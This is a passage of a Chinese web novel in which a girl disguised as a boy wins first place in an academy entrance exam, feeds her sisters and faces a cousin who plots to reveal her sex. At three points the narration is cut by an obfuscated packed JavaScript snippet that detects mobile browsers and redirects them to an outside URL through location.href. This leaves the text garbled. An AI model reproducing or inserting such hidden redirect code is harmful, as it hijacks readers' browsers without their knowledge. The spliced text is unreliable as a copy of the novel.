李薇及笄之年,花朵一般的年纪,理应拥有很长很好的一生,而不是深陷儿女情长,为了一个渣男弃家人于不顾,一根白绫吊死。 ...... 杜青棠回到家,四个姑娘在做绣活儿。 见到杜青棠,她们都以为自己出现了幻觉:“棠哥儿怎么回来了?” 杜青棠也没多说:“有点事,这两天都在家里。” 杜七丫想要刨根问底,被杜八丫拉了一把,不明所以但还是闭了嘴。 等杜青棠回房间关上门,潜心完成刘童生留下的一篇课业,杜七丫才问:“八丫,你方才拉我作甚?” 杜八丫穿针引线:“棠哥儿长大了,有自己的计较,问太多反而不好。” 杜七丫哼哼:“棠哥儿又不是外人,问两句又咋啦?” 杜八丫摇摇头,没说她还是觉得棠哥儿心事重重,表面看起来若无其事,其实心里一点也不开心。 “不说了,赶紧做吧,多做两件就能多挣十几文钱。” “十几文钱可以买枣泥糕......哎呀,五姐你打我作甚?” “这些钱不仅要供棠哥儿读书,还要养活全家,哪能想吃什么就吃什么?” 杜七丫不高兴得鼓了鼓腮帮子,想说早晚有一天她要有很多钱,想买什么就买什么。 不过她最后什么也没说,捏起绣花针,继续绣牡丹。 这牡丹真漂亮啊,雍容又富贵,她要是有朝一日也能像牡丹一样就好了。 到时候看谁还说她是赔钱货。 - 之后几日,桃源村一片风平浪静。 杜青棠去刘家请教学问,有时碰见元盛,他都主动绕道而行,显然是忌惮她手中的把柄。 朱氏每日行色匆匆地出门,日落而归,也不知在忙些什么。 至于元平,他走两步就喘,有那个力气还不如盘在炕上抽旱烟。 关于元盛的丑闻喧嚣尘上,几乎每天都有生面孔出现在桃源村,或旁敲侧击,或直接打探消息。 “这些人多半是想把闺女嫁过来,听到风声都跑来打探虚实呢。” “但凡疼闺女的人家都不会再考虑元盛。” 事实的确如此。 不论十里八村的普通人家,还是张财主王财主,又或者是县城看中元盛读书天赋的大户人家,一个二个全都打起了退堂鼓。 尤其在元盛“生病告假”,接连几日不见人影后,更觉得元盛是个没有担当、品行低劣的小人,便是有心找个会读书的女婿,也绝不考虑元盛。 而自从元氏被杜青棠罚了一天不准吃饭,她终于老实了,这些天不言不语,仿佛隐形人。 杜青棠乐得清净,每天晨起背书,然后去刘家刷题,四书题、五经题、策论、对联、试帖诗一个不漏,翻来覆去地练。 虽然枯燥,但是收获颇丰,就连刘童生都不得不承认杜青棠进步神速。 “没记错的话,清苑书院的考核在本月初五,也就是明日。”刘童生放下杜青棠拟写的五经文,“你可有把握?” 杜青棠垂眸看纸上的批注,优缺点一目了然:“我会尽力而为。” 刘童生虚虚指了指她,佯怒道:“臭小子,跟我耍滑头。” 杜青棠嘴角泄露一丝笑意:“总之多谢您这几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899156|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的倾心教导。” 刘童生微笑:“老夫不过略微指点,最难能可贵的是你自身的勤奋和悟性。” 临别前,他又给杜青棠布置五篇课业:“多思考,做不完就算了。” 这些天的练习足够她应付清苑书院的考核。 杜青棠应好,起身向他行一礼,踩着夕阳暮色回家。 四个姑娘在做木雕,灶房里满地的木屑,脚踩上去咯吱作响。 “呀,棠哥儿回来了!”杜五丫放下已有雏形的胖娃娃木雕,在襜衣上擦两下,“棠哥儿要不你先回屋歇歇,我把饭菜热一下,很快就好。” 杜青棠含糊应一声,把手里的宣纸放回去,又折返回来,洗个手拿起锅铲。 杜五丫往灶膛添一把柴火,正要绕去灶台热菜,见杜青棠熟练翻炒,先是一怔,随后又坐回去,嘴角的笑容似乎真切了不少。 “吃饭了!” 三个姑娘放下刻刀和木雕,元氏放下草帽,母女六人沿桌而坐。 开饭前,杜青棠出声:“明天我要进城一趟。” 元氏偷瞄她,想说什么又想起之前的教训,讷讷闭上嘴,埋头吃饭。 杜八丫柔声道:“注意安全,天黑之前记得回家。” 杜青棠眼睫轻颤,嗓音低不可闻:“好。” - 翌日,杜青棠天未亮便出发了。 早饭自然没吃,她带了两块咸菜饼,水囊里灌满水,一边走一边吃,感觉有些噎了就喝两口水润润嗓子。 杜青棠在天亮之后抵达县城,之前她已经探过路,进城后穿行在大街小巷,很快来到清苑书院。 清苑书院作为大夏首屈一指的官办书院,占地广阔,浅灰色墙体高大宽厚,朱红色的大门端庄气派。 门头上挂着一方牌匾,上面银钩铁划地写着“清苑书院”四个字,据说是由大夏某一任皇帝御笔亲题。 杜青棠以为她来得已经够早了,没想到还有人比她来得更早。 清瘦的少年捧着书立在石狮子后面,这里是背风处,无需经受过多的寒风侵蚀。 “今大道既隐,天下为家......” 他在诵读《礼记》,清亮的声线穿透晨间的薄雾,莫名让人精神一振。 许是察觉到杜青棠短暂的注视,少年抬头看过来,露出有些赧然的笑:“你也是前来参加考核的吗?” 杜青棠颔首,一阵风袭来,掩鼻打了个喷嚏。 “如果你不介意的话......”少年后退两步,“可以来我这里避避风。” 杜青棠穿的袄子是元盛淘汰的,缝缝补补又三年,早就不保暖了,一路逆风行走,这会儿手脚四肢都是冰冷麻木的。 “多谢。”杜青棠走过去,决定等手头阔绰些,第一件事就是扔了这件破袄子,买一件厚实抗冻的。 之后等待的时间里,杜青棠和少年没有任何的交流,前者回忆这些天刷过的题,后者则低声诵读,互不打扰,各自专注。 书院外的人越来越多,目测有三位数。 看着这些人,杜青棠的面色有些凝重。 杜青棠从不看轻任何人,更不会因为自己见过更好的时代就觉得自己高人一等,其他人都是她的脚下泥。 虽然考过三次科举,但是杜青棠的成绩中规中矩,称不上顶尖。 而这些人——她的竞争者们一身文气,想必自幼饱读诗书,满腹文采,想要赢过他们位列前五,获得免去束脩的资格,显然不易。 书院大门打开,身着青色书生袍的青年现身:“请考生自觉成队,分为左右两列......” 杜青棠从石狮子后面走出来,排在大门左边的那一列。 但是,她一定会输吗? 不见得。 竞争者固然优秀,她也不差。 8. 008 清苑书院门口,青袍男子长身玉立。 他身后还有两人,各手捧一方托盘,托盘上整齐堆放着长约两寸的木简。 “请诸位井然有序进入书院,进门前须得从此处领取号牌,届时将根据号牌上的数字公布考核成绩。” “请妥当保管号牌,在成绩公布后登记并归还。” 众人齐声称是。 手捧号牌的两名青年分别立在大门的左右两侧,考生排成长队缓慢前进,领到号牌后在小童的引领下前往考场。 号牌上的数字不重复,且随机发放。 杜青棠领到的号牌上刻着“十八”,她将号牌贴身放好,曾一同避风的少年看向她,二人的视线短暂交接,随小童前往考场。 因考生人数众多,考场分为甲、乙、丙三间,杜青棠在乙考场。 考核所需的笔墨纸砚由书院提供,杜青棠将它们按照习惯摆放,着手磨墨。 磨好墨,体型清癯、须发花白的教谕带着厚厚一沓宣纸,信步走进考场。 他不多废话,直截了当地表示:“开考后不得东张西望,左顾右盼,发现者一律按舞弊处理。” 他顿了顿,又道:“不过每个人的考题都不一样,你们看了也没用。” 考生们:“......” 杜青棠:“......” 一百多人,每人两道题,意味着有二三百道内容不同的考题,不愧是享誉全国的大书院。 考场内尴尬无声流动,教谕浑然不觉,神情自若地分发考卷。 杜青棠拿到考卷,两道题分别是四书题和五经题。 她先是粗略扫一眼,大致判断难度,心里有了底,然后才在草稿纸上动笔。 ...... “道千乘之国,敬事而信,节用而爱人,使民以时。”【1】 出自《论语》的学而篇,意思是治理一个大国的道理是要严谨认真地办理国家大事而又恪守信用,诚实无欺,节约财政开支而又爱护官吏臣僚,役使百姓要不误农时。【2】 如何领导一个大国,应当从以上三方面入手。 所谓修身、齐家、治国、平天下,得先脚踏实地,修身齐家,方能成为千乘之国的领导者。 上来就是与治国理念相关的题目,若是旁人,多半会慌得自乱阵脚。 可杜青棠是谁? 她常年接受思德毛概马哲的熏陶,经历三次科举考试,从县试到殿试,类似的考题做过成千上万,这种四书题还真难不倒她。 杜青棠提笔起草,很快写完一篇长达四百字的四书文。 接下来是第二道五经题。 “儒有不宝金玉,而忠信以为宝;不祈土地,立义以为土地;不祈多积,多文以为富。”【3】 这道题就更简单了,直接从忠信、道义和知识方面入手。 杜青棠很快写完一篇长达三百五十字的五经文,略作润色后誊写到考卷上。 誊写完毕,她看向前方计时用的沙漏,时间已经过去大半。 教谕:“答题完毕可自行交卷离场。” 杜青棠又检查一遍,确认无误后选择提前交卷。 也是巧了,刚走出考场,有过短暂交集的少年从隔壁出来。 与杜青棠四目相对,少年抿嘴一笑,露出两个不甚明显的酒窝:“好巧,你也交卷了。” 杜青棠颔首示意,取出号牌捏在手里:“时间还早,不如你我同去放榜处等候?” 少年欣然应允:“善!” 二人便相携前往立于书院大门内右侧的放榜处,寻了个避风处站定,耐心等候。 约摸一炷香后,考生们陆续交卷,三五成群地来到放榜处。 “我的考题是策论和试帖诗,试帖诗还好,策论颇有些难度。” “原先我还打算拿下前五,免去来年束脩,看来是不成了。” “无妨,能通过就好,书院每月一小考,两月一大考,只要一年之中集齐三次前五名,便可免去次年的束脩,咱们还有机会。” “完了完了,我的五经题好像写偏了!” “我好像也是。” 杜青棠立在告示墙后,将考生们的神情尽收眼底,或胜券在握,或气馁萎靡,再回忆自己的两篇文章,在心底默默估量。 杜青棠看向旁边的少年,猜他也是奔着前五名去的。 这年头出身富贵的毕竟是少数,大多数读书人家境普通,甚至是贫寒。 如果可以进入群英云集的清苑书院读书,还能免去一整年的束脩,为家中减轻负担,想来没有人会拒绝。 ...... 另一边,待考生尽数交卷离场,教谕们整理好考卷,立刻紧锣密鼓地批阅起来。 在座十数位教谕大多年过半百,学识阅历丰富,文章良莠一眼便知。 “诗作得不错,可惜策论华而不实。” “这个二十六号两道题都答得挺好,从点到面十分周全。” “让我看看......嗯,的确不错。” “错了!全错了!” “一个二个不知读的什么书,答的什么题,真真是气煞我也!” 山长姚玄与教授闻伯青走进课室,入目便是教谕们气得吹胡子瞪眼的场景,二人不动声色对视,迈步上前。 教谕们听见脚步声,抬头看清来人,忙放下毛笔起身见礼。 “山长。” “教授。” 姚玄摆了摆手:“你们继续,不必管我。” 教谕们与姚玄共事多年,熟知他的秉性,便又坐回去,一个二个笔下生风,批得飞快。 拢共一百四十张考卷,只用了半个时辰不到便批阅完毕。 这期间姚玄和闻伯青默不作声地翻看已经批阅过的考卷,教谕们试图从他们脸上看出些什么,但是很遗憾,都失败了。 他们全程神情淡然,不见一丝喜怒变化。 末了,教谕捧着一沓考卷上前:“山长,一百四十名考生的考卷都在这里了,您看......” 姚玄扭头看向闻伯青:“行让,你觉得呢?” 闻伯青沉吟片刻,取出五张考卷:“子敬以为如何?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899157|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姚玄一眼扫过,面露满意之意:“我与行让的评定不谋而合。” 闻伯青笑了,指着其中一份:“尤其是这十八号考生,不仅写得一手好字,她所写的四书文思路十分新颖大胆,着实令我眼前一亮。” 姚玄不置可否,却又话锋一转:“从文章看来是可造之材,只是行文中锐气过盛,还需多加打磨。” 闻伯青捻须:“子敬所言极是。” 一番低声交流过后,姚玄看向教谕们:“这五名考生列入前五,诸位可有异议?” 众人对山长和教授的眼光深信不疑,但还是上前一看。 “此五人实至名归。” “虽有瑕疵,但瑕不掩瑜。” 如此,本次考核的前五名便定下了。 “辛苦诸位尽快将考核结果张贴但告示墙上。” “是,山长、教授慢走。” ...... 杜青棠等了近一个时辰,总算等来早那位身着青袍的青年。 “来了来了!” “好紧张,万一我没有通过考核怎么办?” “张兄别担心,你有备而来,定不会空手而归。” 青年将红纸张贴在告示墙上,所有考生的视线紧紧黏在红纸上,目光灼灼,就差将红纸烫出一个洞。 杜青棠当然也在看。 她这具身体才十二岁,因为家中拮据,舍不得挑灯夜读,隔着一段距离也能清楚地瞧见红纸上的数字。 第一名,十八号 第二名,一百五十三号。 第三名,二十六号。 杜青棠呼吸微凝,垂下眼帘,号牌上的“十八”在阳光下熠熠生辉。 显而易见,她以第一名的成绩通过了考核,明年不必再为束脩烦心。 “恭喜。”少年嗓音低柔,笑容温润,见杜青棠眉梢微挑,解释道,“方才不小心看到你的号牌,恭喜你通过考核。” 杜青棠没放在心上:“多谢,你呢?” 少年不知想到什么,笑意淡去几分,很快又重新回到脸上,向她展示号牌:“我也是。” 七十二。 第五名正是七十二号。 “恭喜。” “同喜。” 短暂的沉默后,少年率先释放善意,向杜青棠一拱手:“在下傅文。” 杜青棠眸光微动,神色如常地回了一礼:“在下杜青棠。” 告示墙前,青年扬声道:“请通过考核的考生携号牌前往隔壁,登记姓名祖籍,领取书院服两套。” “除此之外,诸位可获得文房四宝一套,以及白银二两,作为通过考核的奖励。” 人群中欢呼声迭起。 青年继续道:“三日后正式开课,诸位请勿迟到。” “是!” 四十名通过考核的考生出示号牌,登记后领取书院服、文房四宝和二两白银,满脸喜色地离开。 “杜同窗,三日后再见。” “三日后见。” 杜青棠同傅文挥手作别,踩着正午的阳光打道回府。 9. 009 杜青棠路过肉摊,想到瘦骨嶙峋的四个姑娘,鬼使神差地停下来。 “猪肉多少钱一斤?” “二十文。” “给我来三斤猪肉,要肥瘦相间的。” “好嘞!”中年屠户按照杜青棠的要求割肉,取来木杆秤,“三斤一两,算你三斤。” “再来两对猪蹄。”黄豆炖猪蹄,滋补又养生,“叔,你家有猪下水吗?” 屠户点头:“我家有猪心、猪腰、猪肠还有猪肝,你要哪个?” 杜青棠大手一挥:“都给我来一斤。” 猪下水不值钱,四斤也没几个钱。 屠户挑眉,把五花肉、猪蹄和猪杂打包好:“正好一百文。” 一手交钱,一手交货。 屠户见杜青棠生得瘦弱,好意提醒:“若是家离得远,这么多肉怕是拎不回去。” 杜青棠抬起眼帘,屠户指了指墙角的小竹篓:“可以借你,但是必须还回来。” 杜青棠没有拒绝,在屠户的帮助下背上竹篓,沉甸甸的,压得肩膀下沉。 “好了,你去吧。”屠户咧嘴笑,“它虽然不值几个钱,但是我媳妇编的,要不是看你买这么多肉,我才不借你。” 杜青棠:“......多谢。” 回杜家的途中,杜青棠遇到了同样进城卖柴火的陈叔和包叔。 陈叔叫住她:“棠哥儿,这个时候你不应该在城里读书吗?怎么这些天一直在家?” 莫非她不打算继续读书了? 可是她又每天带着书本去刘童生家,风雨无阻。 今日恰巧碰见,可不得问个清楚。 包叔一个劲儿地往竹篓里瞅,幸好杜青棠有先见之明,将书院服压在最上面,他什么也没看到:“棠哥儿这是去赶集?” 眼下尘埃落定,杜青棠也没什么好瞒的:“去考清苑书院了。” “清苑书院?”陈叔知道这个书院,据说里面的教书先生非常厉害,门槛自然也高,“棠哥儿你......这是考上了?”还是没考上? 实在是他没能从杜青棠脸上捕捉到喜悦或者气馁之类的表情,一时间无法判断。 杜青棠嗯了一声:“考上了,三日后正式开课。” 陈叔:“!!!” 包叔:“!!!” “恭喜恭喜啊。” “所以你这些天没去私塾,是在为考书院做准备?” 杜青棠:“正是。” 包叔咂舌:“看来咱们村又要出个童生老爷喽!” 陈叔笑哈哈:“不止童生,说不定还能出个官老爷咧!” 杜青棠:“......” 一番恭维过后,杜青棠仗着脚程快,将拖着板车的陈叔和包叔远远甩在身后。 陈叔感慨:“我就不明白了,元氏怎么能生出棠哥儿这么有出息的孩子?” 包叔耸肩:“我哪晓得,估计是把一辈子的运气都用在这上头了。” 陈叔意味深长道:“希望棠哥儿别学她表哥不做人,偏要做鬼。” “应该不会吧?”包叔随口说了句,“他们不是都好奇棠哥儿这些天为啥不去私塾吗?回头咱俩可得把这个好消息告诉他们,能考上清苑书院,咱们桃源村所有人都面上有光呢......” 杜青棠来到刘家,她迫切地想要将这个好消息告诉刘童生。 一日为师,终身为师,她十分感激刘童生这几日毫不藏私的教导之恩。 “胡阿婆,这是我在城里买的两斤肉和两只猪蹄,今早刚杀的猪,正新鲜着,中午做了给家里人尝尝。” 胡氏哪里肯要,再三推拒:“不行不行,我哪能要你的东西,你自己带回去吃。” 杜青棠态度坚决:“若不是刘阿公,我怕是无法考入书院,更无法顺利免去束脩。” 胡氏看着面前白花花的猪肉和猪蹄,再看杜青棠,眼神慈爱:“你这孩子......行吧,那我就收下了。” 杜青棠面色缓和:“我去找刘阿公。” “去吧去吧。”胡氏瞅了眼杜青棠清瘦的背影,低声咕哝,“知恩图报,是个好孩子,不像她那个表哥,读书还行,做人嘛......烂得很!” 正屋里,杜青棠笔直站立,向着刘童生深深作了一揖。 “考上了?” “是。” “很好。”刘童生布满皱纹的脸上绽开笑容,“好好读书,就算不科举入仕,日后也能凭肚里的墨水丰衣足食。” 杜青棠应是:“学生谨遵先生教诲。” “先生”二字出口,刘童生托着烟杆的手指一颤。 多么动听的称谓。 可惜从未有人如此称呼过他。 “你若无事,且回去吧。” “是。” 杜青棠回到杜家,告诉杜家人她已经考入清苑书院。 “棠哥儿真厉害,爹泉下有知一定很高兴。” “所以明年不用交束脩了?真是太好了,这样一来棠哥儿你就不必再看舅舅舅母的脸色了!” 四个姑娘叽叽喳喳,满脸激动,眼睛也亮晶晶的。 元氏不在,杜青棠也不管她,取出竹篓最底下的猪肉猪蹄和猪下水。 “哇——”杜七丫惊呼,“好多肉!” 其他三个姑娘也惊呆了。 “怎么买这么多肉?” “这得花多少钱。” “猪肉红烧,猪蹄做汤,猪下水做卤味。”杜青棠把肉放去灶房,“书院奖励每人二两银子,还剩不少。” 经过几天的相处,姑娘们都意识到杜青棠的说一不二,并无抵触心理,反而乐见其成。 自从棠哥儿当家做主,娘不再对她们动辄打骂,舅舅一家也不敢上门。 谁不想过舒坦日子呢? 以前是迫不得已,现在她们只想努力挣钱,供棠哥儿读书,把日子过得红红火火。 杜青棠把书院服和文房四宝放回屋里,剩下的银子和之前的放在一起,裹上布藏在炕前第三块土砖下面。 刚把土砖踩严实,门外响起杜七丫一声尖叫:“娘!你为什么要这么做?” 杜青棠眼皮一跳,有种终于来了的感觉。 这几天,元氏安分了不少,不再提起元盛,更不说什么传宗接代,但是她没有因此放松警惕。 元氏静悄悄,必定在作妖。 杜青棠不觉得她是真心悔过,更像是暂时蛰伏,等时机一到就憋个大的。 事实证明,杜青棠的判断非常正确。 灶房里,元氏抱着小竹篓,竹篓里是杜青棠买的猪肉。 杜七丫脸蛋涨红:“这是棠哥儿买的,你凭什么送去舅舅家?” 元氏理直气壮:“就凭我是你娘!” 杜青棠手指蠢蠢欲动,第一百零二次想要把她锤进墙里,抠都抠不下来:“我数三声,把东西放回去。” 元氏因为杜青棠突然的出现一惊,梗着脖子嚎:“你舅舅体弱多病,你表哥读书也要补身体,我送点东西给他们咋啦?你这是不孝,我要去官府告你们!” “有本事你现在就去,把我们全都抓起来打板子蹲大牢,要是没这个本事就给我闭嘴。”杜青棠怎么会被她唬住,厉声道,“元平比圈里的猪还肥,元盛壮得跟牛犊子似的,你看看七姐,再看看五姐六姐八姐,她们瘦得只剩一骨头。你心疼元平元盛,可曾在意过我们的死活?” 委屈酸楚涌上心头,四个姑娘顷刻间红了眼眶。 元氏瞥一眼,像是被烫到,仓惶移开眼,泪珠子在眼眶打转,声音颤巍巍:“我家的东西我还不能做主?” “不,你不能。”杜青棠一脸冷酷,“现在立刻马上,把东西放回原位。” “我不......”元氏不乐意,杜青棠才不惯着她,一个箭步上前,夺过竹篓,“你让我不高兴了,今天不许吃饭。” 元氏:“......” 一个时辰后,元氏坐在灶房外,闻着红烧肉、黄豆猪蹄汤和卤猪下水的香气,口水直流三千尺,眼泪也直流三千尺。 “呜呜呜呜......” 杜八丫不忍:“要不让娘进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899158|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吃饭?” 杜青棠吃着肉汤泡饭,不紧不慢道:“不必管她,继续吃。每个人都要为自己所做的事负责,做错事就该受到教训。” 杜七丫舔碗底:“我只在六年前过年的时候吃过一次肉,还是肥肉,嚼着油腻腻,哪有咱家的好吃。” 杜青棠:“好吃就多吃点。” 杜七丫超大声:“好嘞!” 杜五丫杜六丫相视一笑,杜八丫被气氛感染,也跟着笑。 - 却说陈叔和包叔为了满足大家的好奇心,决定将杜青棠这阵子在备考清苑书院,并且已经成功的消息告诉村民们。 一传十,十传百,这个消息很快传遍桃源村。 “听说了没,杜家的棠哥儿考上清苑书院了。” “清苑书院是啥?” “就是保定府最厉害的书院!” “嚯!棠哥儿真有本事!” “你说杜家棠哥儿和元家盛哥儿是表兄弟,怎么一个在天上,一个在地下呢?” “棠哥儿素来踏实能干,至于元盛嘛......他爹娘就是俩懒货,蚂蟥一样趴在杜家人身上吸血,生出来的儿子能是什么好东西?” “龙生龙凤生凤,老鼠的儿子会打洞,这话可一点也不假!” 众人哈哈大笑。 不远处,朱氏挎着竹篮,低头步履如飞。 村民们踩高捧低的话语远去,她眼里闪过阴狠,一字一句像是从牙缝里挤出来:“畜生!全都是畜生!” 这些背后道人是非的是畜生,害惨了盛哥儿,自己反倒春风得意的杜青棠更是! 朱氏回到家,元平盘在炕上抽旱烟,元雪在灶房忙活,元盛坐在院子里,仰头望天,神情呆滞。 他瘦了很多,脸颊凹陷,眼珠凸出,与先前丰神俊朗的模样判若两人。 朱氏看在眼里疼在心里,恨意翻涌,恨不得将杜青棠碎尸万段。 这些天他们一直在找人,找那天晚上陷害元盛一男一女,也曾多次对外澄清,说元盛是无辜的,他根本不认识那两个人,一切都是杜青棠的阴谋,但是都失败了。 那一男一女仿佛人间蒸发,村民们更不相信是杜青棠陷害元盛,还说他们是失心疯乱咬人。 “棠哥儿那么老实的孩子怎么可能害人?” 气得元盛、元平和朱氏吐血三升,嘴角起了好大的燎泡,疼得夜里都睡不着。 朱氏踟蹰片刻,还是把杜青棠考入清苑书院的事情说了,忧心忡忡地道:“如此一来,怕是没法拿捏她了。” 原本他们打算用束脩威胁杜青棠,让她站出来承认是自己故意陷害元盛,从而洗清元盛身上的污名。 谁承想杜青棠居然去了清苑书院读书,还十分争气地免去了束脩,真是气煞她也! 元盛眼珠转动,嘶哑的声线布满阴鸷:“谁说没办法?” 朱氏不明所以:“什么办法?” 当然是揭穿杜青棠的秘密,让所有人都知道她是个女子。 朱氏迟疑:“盛哥儿你不是打算让她跟你一起考科举,去京城做官?” 元盛冷笑:“此一时彼一时,她对我不仁,害我声名狼藉,就别怪我不义,将她彻底打回原形!” 以前他垂涎杜青棠的容貌,又想让她做马前卒,为他出生入死,为他挣取功劳,这才替她保守秘密。 可是转念一想,以他的才华和能力,入仕拜官轻而易举,一人之下万人之上也未尝不可,他想要什么女人没有,何必执着于杜青棠。 一个女子多年如一日地混迹在男人堆里,还有什么贞洁可言? 他要让杜青棠名声尽毁,他要让杜青棠求着他要自己,求着为元家传宗接代。 待他官至高位,看在杜青棠为他生儿育女,一心一意伺候他的份上,或许可以赏她一个侍妾的名分。 “娘,你去......” 元盛对朱氏一番耳语,朱氏眼中异彩连连,难掩狂喜。 “你放心,我这就去办!” 朱氏一扫颓唐,风风火火地出门去了。 10. 010 “棠哥儿,去捞鱼不?” 杜青棠从书中抬起头,杜七丫站在门口,笑容满面。 虽然顺利通过了清苑书院的考核,但是科举之路道阻且长,她有意提升自己,在科考中获取更高的名次,必然需要付出十倍百倍的努力。 刘童生留给她的五道题早已做完,师生关系也已结束,她不便登门求教,思来想去,决定自己给自己出题。 经过这些天的努力,她将那些遗忘的记忆找回七七八八。 回忆往昔,她做过数以万计的科举试题,某类题型考察什么,如何破题,如何答题早已深入骨髓,出几道题不成问题。 这会儿她已经做完三道题,四书题五经题各一道,还写了一首试帖诗。 “我跟三叔公借了网兜,趁河面还未结冰,捞几条鱼回来吃,运气好的话还能拿去城里卖钱呢。” 杜青棠正打算停下来歇一会儿,便同意了:“五姐她们呢?” “五姐六姐不去,她们的木雕活儿还没做完,过几天得送去城里。”杜七丫道。 “叫上五姐六姐一起吧。”养家糊口的重担不该压在十几岁的姑娘身上,元氏才是最应该承担起绝大部分责任的人,只不过她并没有做到,是个很不称职的母亲,“多捞几条鱼,可以去城里卖钱。” 杜七丫觉得也是,一头扎进灶房:“五姐六姐,我们一起去捞鱼!” “可是木雕还没刻完。” “只有我跟棠哥儿还有八丫有什么意思,你们也一起去嘛,人多才更热闹。” “......行吧,我收拾一下。” “好耶!”杜七丫欢呼,“慢慢收拾不着急,时间还早呢,我等你们。” 三个姑娘将刻完没刻完的木雕收拾好,放进橱柜里,以免被谁瞧见顺走,和杜青棠、杜七丫扛着网兜拎着小木桶,有说有笑地出门。 元氏望着姑娘们远去的背影,心不在焉地绣花,一不留神戳破指腹,沁出圆润血珠。 “呀!” 元氏惊呼,连忙含住食指止血,想到这些天女儿们对她的冷漠和无视,委屈涌上心头。 “她爹啊,要是你还活着就好了。” 你要是还活着,棠姐儿一个丫头片子哪能爬到她的头上作威作福,哪里敢克扣她的饭食。 元氏又想到朱氏甩她巴掌时的凶狠,虽不知朱氏为何那样说,但是不影响她惶恐不安。 棠姐儿自幼扮作男子,这两年又整日混在男人堆里,除了盛哥儿,哪个男人敢要她? 若是盛哥儿不想娶棠姐儿,杜家就会在这一代绝后,如此一来,她岂不成了杜家的罪人?死后有何颜面去见杜家的列祖列宗? 元氏愁眉不展,寻思着要不要再去一趟元家。 她手里还有些私房钱,是为了以防不时之需,她不想拿出来,可是...... “怎么你一个人在家?棠哥儿呢?” 熟悉的声音响起,元氏眼睛一亮:“盛哥儿他娘,你怎么来了?” 那站在门口的,赫然是朱氏。 除她以外,还有一位背着药箱轻捻胡须的老大夫。 ...... 环绕桃源村的桃源河宽约五米,水流并不湍急,腿长的男人可以直接蹚水到对岸。 杜青棠和四个姑娘来到河边,先沿河考察一番。 河水清澈见底,可以清楚地看到游动的鱼虾。 “这里的鱼最多,看起来不太聪明的样子,就这里了!”杜七丫一马当先,放下木桶挥舞网兜,目标明确地锁定河底悠闲吐泡泡的几条鱼。 她动作熟稔迅猛,显然不是第一次捞鱼,一个抄底,捞上来四条手掌长的鲫鱼。 “太小了没什么肉,留着自家吃。”杜七丫失望撇嘴,把鲫鱼倒进木桶里。 杜青棠俯身打量:“明天再买两块豆腐,炖鱼汤喝。” 杜六丫咽口水,嗯嗯点头:“鲫鱼豆腐汤比红烧的还要好吃,又鲜又嫩。” 其他三个姑娘也都垂涎三尺,自发想象鱼汤的美妙滋味。 网兜只有两个,另一个在杜五丫手里,她不甘落后,去另一边捞鱼。 结果同样喜人,捞上来一条鲤鱼和混着泥沙的青壳虾。 “八丫,把桶拿过来,鱼和虾分开放。” “来了!”杜八丫拎着木桶小跑过去,秀美的脸上是掩不住的惊喜,“咱们今天运气真好,一上来就捞了这么多。” 杜五丫笑眯眯:“这算什么,八丫你且看着,等会儿我一定能捞一条大鱼!” 杜八丫小鸡啄米点头:“我相信五姐。” 之后又捞了几次,每一次都收获颇丰,木桶里鱼虾螃蟹之类的水产装得满满当当。 种类、大小不一的鱼在木桶里啪啪甩尾,水花溅到杜六丫脸上,年轻的姑娘用袖子擦脸,一边高兴得咯咯笑,一边念念有词:“一条,两条......八条......” 杜六丫不识字,但她会数数,是跟三叔公学的。 她们每天都要统计自己做了几件绣品、木雕、草帽,学会数数更方便。 学的时候抓耳挠腮,熟练之后就不用每次都指望元氏,因为元氏会不耐烦,还会打骂她们。 杜六丫没觉得这有什么不对,十里八村、家家户户都是这样,男娃读书可以出人头地,女娃没必要,她只需要嫁个好人家,大家就会夸她家祖坟冒青烟,然后回到家跟自家姑娘念叨,“你将来也要像某某一样,嫁个好人家,到时候多多照拂你兄弟们。” 姑娘们要么做绣活儿,要么在灶房忙活,嘴里咿咿呀呀应着,低眉顺目,言听计从。 杜六丫想到这,扭头看杜青棠。 她们没什么本事,无法为棠哥儿提供任何帮助,好在棠哥儿争气,凭自己的努力考上清苑书院。 以后会更好的吧? 一定会更好的! “呼——好累,六姐换你来。” 网兜的杆子很长,跟杜七丫差不多高,她和杜五丫捞累了,手臂酸得抬不起来,就把捞鱼的重任交给杜六丫和杜八丫。 杜青棠看了眼杜八丫的细胳膊细腿:“我来吧。” 这姑娘比杜青棠大两岁,个头却跟她差不多高,甭说捞鱼,不被鱼拖进河里就好了。 杜八丫不肯,但是拗不过杜青棠,只得乖乖退到旁边,帮忙捡鱼或者拎桶。 杜青棠有不少钓族朋友,假期也曾应邀钓鱼,方才又旁观许久,自然不在话下。 网兜出其不意没入水中,猛地一铲,伴随“哗啦”水声,鱼虾坠得网兜沉甸甸,争相落入木桶之中。 